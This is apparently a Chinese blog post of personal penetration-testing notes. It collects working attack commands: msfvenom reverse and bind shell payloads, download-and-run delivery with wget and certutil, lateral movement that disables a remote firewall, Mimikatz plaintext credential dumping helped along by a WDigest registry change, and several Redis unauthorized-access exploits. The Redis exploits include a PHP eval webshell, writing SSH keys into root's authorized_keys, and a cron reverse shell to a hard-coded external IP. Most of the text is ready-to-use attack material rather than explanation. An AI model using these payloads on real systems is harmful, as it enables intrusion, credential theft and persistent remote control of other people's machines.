rubbish

msf

千万不要exit 撑死back和background

首先判断需要反弹还是正向连接

一般能出网的用反弹,出不了网的就正向

1、先制作payload

linux

1
2
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=9999 -f elf >reverse_9999.elf #反弹
msfvenom -p linux/x64/meterpreter/bind_tcp lport=9999 -f elf >bind_9999.elf#正向

windows

1
2
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=9999 -f exe >reverse_9999.exe #反弹
msfvenom -p windows/meterpreter/bind_tcp lport=9999 -f exe >bind_9999.exe#正向

linux 一般为elf windows为exe (在杀软能绕过用,这两为可执行文件

2、上传payload

如果有网站可以用蚁剑上传

如果linux中可以用

VPS上 python3 -m http.server 12345 开启一个web服务供下载

靶机上 wget http://xx.xx..xx.xx:12345/xx.elf 下载

如果在windows上可以用 certutil Windows上自带的渗透测试工具:Certutil

1
certutil.exe -urlcache -split -f http://example.com/a.txt

如果在域控中可以用$LCK (待补充)

然后上线msf

1
2
3
4
5
6
7
8
9
10
11
12
13
msfconsole

use exploit/multi/handler

show options #看一下需要的payload 根据要填的填rhost lport

set payload linux/x64/meterpreter/reverse_tcp #这步根据生成的payload进行填写

set lport xxxx

set rhost xx.xx.xx.xx #根据上面options选填

run

执行payload文件 正向先开 反弹后开

上线以后首先获取路由信息 为后面跨网段渗透铺路

1
2
3
4
5
run autoroute

run post/multi/manage/autoroute

run autoroute -p#查看所有路由表

退出当前sessions 用

1
background

查看所有sessions 用

1
sessions 

使用某个session

1
sessions -i x -k(杀死清除)

设置socks代理

1
set Proxies socks5:127.0.0.1:1081

利用ipc管道 和sc的横向移动

1
2
3
4
5
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

sc \\192.168.93.30 create unablefirewall binpath="netsh advfirewall set allprofiles state off"

sc \\192.168.93.30 start unablefirewall

mimikatz

1
2
3
提升权限   privilege::debug

抓取明文密码 sekurlsa::logonpasswords

win12及以上被取消了,可通过修改注册表设置允许存储明文密码,并让其系统强制锁屏,等待管理员重新输入账号密码后,即可抓取到明文密码。

修改注册表(管理员权限)

1
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

powershell执行命令强制锁屏

1
Function Lock-WorkStation { $signature = @" [DllImport ("user32.dll", SetLastError = true)] public static extern bool LockWorkStation(); "@ $LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru $LockWorkStation::LockWorkStation() | Out-Null } Lock-WorkStation

redis

Redis未授权四种利用方式与修复方案

1
2
3
4
5
6
7
8
9
Redis基本操作

set testkey “hello” - 创建一个键值对
keys * 显示所有键
delxxx 删除键为key的数据
get xxx 读key的内容
config set dir /home/test 设置工作目录
config set dbfilename redis.rdb 设置备份为减价
save 进行一次备份操作

redis主从复制RCE

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指一个redis作为主机,其他为备份机,主从数据相同,从机去读,主机写。在Redis4.x之后,通过外部扩展,可以实现redis中实现一个新的redis命令,构造恶意.so文件,在两个redis实例设置主从模式,redis主机实例可以通过FULLRESYNC同步文件到从机上,在从机家在恶意so文件,从而执行文件。

影响版本:redis<=5.05
工具下载:
https://github.com/n0b0dyCN/redis-rogue-server (/root/tool/poc/applicationserver/redis-rogue-server-master/)

1
python3 redis-rogue-server.py --rhost 192.168.0.109 --lhost 192.168.0.145

image-20240123142200112

弹一个shell去vps上

image-20240123142235121

Redis写WEBSHELL

需要知道网站物理路径

获取网站路径方式:1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏

1
2
3
4
redis:6379> config set dir /var/www/html/
redis:6379> config set dbfilename shell.php
redis:6379> set x "<?php phpinfo();eval($_POST['ant']);?>"
redis:6379> save

Redis写入ssh公钥登录

利用条件:
1、Redis服务使⽤ROOT账号启动、且可未授权登陆
2、服务器开放了SSH服务,⽽且允许使⽤密钥登录,即可远程写⼊⼀个公钥,直接登录远程 服务器。
生成密钥公钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ssh-keygen -t rsa

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt #将公钥id_rsa.pub文件写入test.txt文件

cat test.txt | redis-cli -h 192.168.220.129 -x set crack


redis-cli -h xx.xx.xx.xx

config set dir /root/.ssh #这步需要redis服务使用root权限开启 否则更改不了路径

config set dbfilename authorized_keys

save

exit


cd /root/.ssh

ssh -i id_rsa root@172.17.137.102

反弹shell

1
2
3
4
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/38.22.133.155/3333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

提权

suid提权

查找具有suid权限的文件

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

UDF提权


rubbish
http://example.com/2023/12/17/penetration/杂七杂八汇总/
作者
Re1ca1g
发布于
2023年12月17日
许可协议